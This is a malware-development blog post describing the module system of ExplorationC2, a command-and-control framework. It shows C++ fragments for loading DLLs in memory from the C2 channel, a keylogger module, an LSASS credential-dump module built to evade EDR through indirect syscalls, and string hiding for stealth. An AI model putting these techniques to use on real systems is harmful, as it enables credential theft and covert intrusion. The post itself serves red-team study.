MaxDcb Blog

Posts about Cyber Security, Malware Development, and more.

View on GitHub

Part 4 — Modules

This is Part 4 of a series on ExplorationC2, a modular Command-and-Control framework I maintain at https://github.com/maxDcb/C2TeamServer. In this post, I describe the Modules.


What Are Modules in ExplorationC2?

Modules in ExplorationC2 are dynamically loadable components that extend the functionality of the beacon without requiring changes to its core. They are delivered over the C2 channel and executed directly in memory using the MemoryModule utility and a linux simpler implementation. This approach allows for a modular, extensible, and lightweight architecture.

Every module as a double implementation for linux and windows, if applicable to the task.


Why Modular Design?

The modular design offers several advantages:

This design aligns with the principles of modular software architecture, where systems are divided into smaller, self-contained units that can be independently developed, tested, and maintained.


How Modules Work

Modules are implemented as shared libraries (DLLs on Window, SO on linux) and are loaded into the beacon’s process space using the MemoryModule utility. The core beacon communicates with modules through a standardized set of class members, allowing for consistent interaction regardless of the module’s specific function.

Here’s an in-depth look at how the modules work in this framework:

1. TeamServer Module

 // TeamServer module loading
m_logger->debug("TeamServer module directory path {0}", m_teamServerModulesDirectoryPath.c_str());
try
{
    for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath))
    {
        if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so")
        {
            m_logger->debug("Trying to load {0}", entry.path().c_str());

            void* handle = dlopen(entry.path().c_str(), RTLD_LAZY);

            std::string funcName = entry.path().filename();
            funcName = funcName.substr(3);                        // remove lib
            funcName = funcName.substr(0, funcName.length() - 3); // remove .so
            funcName += "Constructor";                            // add Constructor

            m_logger->debug("Looking for construtor function {0}", funcName);

            constructProc construct = (constructProc)dlsym(handle, funcName.c_str());
            ...
        }
        ...
    }
}

TeamServer modules are compiled with specific functionalities:

// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary of the beacon version, while it is present and used in the TeamServer version
constexpr std::string_view moduleName = "cat";
constexpr unsigned long long moduleHash = djb2(moduleName);

// TeamServer contain the moduleName, where the beacon implementation only get the hash
Cat::Cat()
#ifdef BUILD_TEAMSERVER
    : ModuleCmd(std::string(moduleName), moduleHash)
#else
    : ModuleCmd("", moduleHash)
#endif
{
}

// Helper information is only in the TeamServer version
std::string Cat::getInfo()
{
    std::string info;
#ifdef BUILD_TEAMSERVER
    info += "Cat Module:\n";
    info += "Read and display the contents of a file from the victim machine.\n";
    info += "Useful for quickly inspecting text files or verifying file contents.\n";
    info += "\nExample:\n";
    info += "- cat c:\\temp\\toto.txt\n";
#endif
    return info;
}

// Message init routine is only present on the TeamServer implementation
int Cat::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) 
    if (splitedCmd.size() >= 2 )
    {
        ...

        c2Message.set_instruction(splitedCmd[0]);
        c2Message.set_inputfile(inputFile);
    }
    else
    {
        c2Message.set_returnvalue(getInfo());
        return -1;
    }
#endif
    return 0;
}

2. Beacon Module Loading

bool Beacon::handleLoadModuleInstruction(C2Message& c2Message, C2Message& c2RetMessage)
{
    ...
    // Actual dll binary data
    const std::string buffer = c2Message.data();

    HMEMORYMODULE handle = NULL;
    handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size());

    // Search for the rentry point that point to a function meant to trigger the constructor (only function exposed)
    constructProc construct;
    construct = (constructProc)MemoryGetProcAddress(handle, reinterpret_cast<LPCSTR>(0x01));

    // Call the constructor and store it for futur use
    ModuleCmd* moduleCmd = construct();
    m_moduleCmd.push_back(std::move(moduleCmd_));
    ...
}

Exemple of the exported constructor function:

#ifdef _WIN32

extern "C" __declspec(dllexport) Cat* CatConstructor() 
{
    return new Cat();
}

#else

extern "C" __attribute__((visibility("default"))) Cat* CatConstructor() 
{
    return new Cat();
}

#endif

3. TeamServer Interaction

After the Beacon successfully loads the module, the TeamServer uses its own implementation of the module to craft a message meant to be processed by the Beacon’s module counterpart. This message might contain instructions and various data.

// Message init routine is only present on the TeamServer implementation
int Cat::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) 
    if (splitedCmd.size() >= 2 )
    {
        ...

        c2Message.set_instruction(splitedCmd[0]);
        c2Message.set_inputfile(inputFile);
    }
    else
    {
        c2Message.set_returnvalue(getInfo());
        return -1;
    }
#endif
    return 0;
}

#define ERROR_OPEN_FILE 1 

// Processing, expecting a message crafted using Cat::init
int Cat::process(C2Message &c2Message, C2Message &c2RetMessage)
{
    c2RetMessage.set_instruction(c2RetMessage.instruction());
    c2RetMessage.set_cmd(c2Message.inputfile());
    c2RetMessage.set_inputfile(c2Message.inputfile());

    std::string inputFile = c2Message.inputfile();
    std::ifstream input(inputFile, std::ios::binary);
    ...

    return 0;
}

// Error translating routine is only present on the TeamServer implementation
int Cat::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
#ifdef BUILD_TEAMSERVER
    int errorCode = c2RetMessage.errorCode();
    if(errorCode>0)
    {
        if(errorCode==ERROR_OPEN_FILE)
            errorMsg = "Failed: Couldn't open file";
    }
#endif
    return 0;
}

The TeamServer implementation contain strings and error message, as well as the name of the module that are absent of the Beacon’s module implementation, for stealth purpuse.

> strings ./TeamServerModules/libCat.so  | grep -b3 "Failed: Couldn't open file" -i 
2720-|$pH
2725-|$pL
2730-L;l$H
2736:Failed: Couldn't open file
2763-Cat Module:
2775-basic_string::append
2796-Example:

> strings ./WindowsModules/Cat.dll  | grep -b3 "Failed: Couldn't open file" -i
>

4. Beacon Module Execution

Upon receiving the message, the Beacon:

Some module can run a thread, launch a new process.

5. Module Features

Methodes

Several features help manage module execution and extend the functionality:

// followUp executed TeamServer side at reception of C2Message from download module
int Download::followUp(const C2Message &c2RetMessage)
{
    // check if there is an error
    if(c2RetMessage.errorCode()==-1)
    {
        std::string args = c2RetMessage.args();
        std::string outputFile = c2RetMessage.outputfile();

        // upon execution of followUp, we fill the downloaded file with data received for the beacon Download::process results
        std::ofstream output(outputFile, std::ios::binary | std::ios::app);
        const std::string buffer = c2RetMessage.data();
        output << buffer;
        output.close();
        
    }

    return 0;
}
// recurringExec executed at each beacon wake up
int KeyLogger::recurringExec(C2Message& c2RetMessage) 
{
    std::string output;
    dumpKeys(output);

    c2RetMessage.set_instruction(std::to_string(getHash()));
    c2RetMessage.set_data(output);
    
    return 1;
}

int KeyLogger::followUp(const C2Message &c2RetMessage)
{
    m_saveKeyStrock+=c2RetMessage.data();

    return 0;
}

These features allow for customizable and automated operations within ExplorationC2.

Stealth

The module base line: C2Core/modules/ModuleCmd include some helper implementation like Hardware breakpoint and indirect syscall (inspired by SysWhispers3) as well as diverse utilitary functions.

It help the development process for stealthy modules like the MiniDump one, capable to bypassing advance EDR for LSASS dumping.

#include <syscall.hpp>

int MiniDump::process(C2Message &c2Message, C2Message &c2RetMessage)
{
    ...
    // Get process handle with NtOpenProcess
    HANDLE lsassHandle=NULL;
    CLIENT_ID client_id = {0};
    client_id.UniqueProcess = (HANDLE)dwPid;
    client_id.UniqueThread = 0;
    OBJECT_ATTRIBUTES objAttr = {0};
    // Indirect syscall implementation for NtOpenProcess 
    Sw3NtOpenProcess_(&lsassHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &client_id);

    // Standard implementation of OpenProcess
    // HANDLE lsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
    if(lsassHandle==NULL)
    {
        ...
    }
    ...
}

6. Module Unloading

After the module has completed its task, it can be unloaded from memory. This function can be usfull if modification are needed on the module to achive the task.


The Module Template

To facilitate the creation of new modules, a ModuleTemplate is provided. This template includes:

By using this template, developers can quickly create new modules that work with the framework’s standards and integrate seamlessly with the existing system.
It is also usfull for AI generated modules, as agents like codex work best with Template. SOme of the modules like the whoami where generated by codex.


Existing Modules

The ModuleCmd directory contains several modules.

These modules serve as practical examples of how to implement functionality within the modular framework.


Conclusion

With this, I conclude my series on building a modern C2 framework. Writing this series has been a valuable exercise in reflecting on the design and decisions behind the ExplorationC2 project. It has allowed me to consolidate the reasoning behind each architectural choice and explain why certain approaches were taken. By sharing these insights, I hope to provide a clearer understanding of the technical challenges faced and the solutions implemented, as well as the modular, flexible nature of the framework that allows for dynamic extensibility.

This project has been both a learning experience and an opportunity to experiment with techniques in Command and Control (C2) development. Moving forward, I’m excited to continue iterating on this framework, adding new capabilities, and refining existing features to adapt to an ever-changing security landscape.

Thank you for following along, and I hope you found this series insightful. If you have any questions or thoughts, feel free to reach out or explore the project further on GitHub.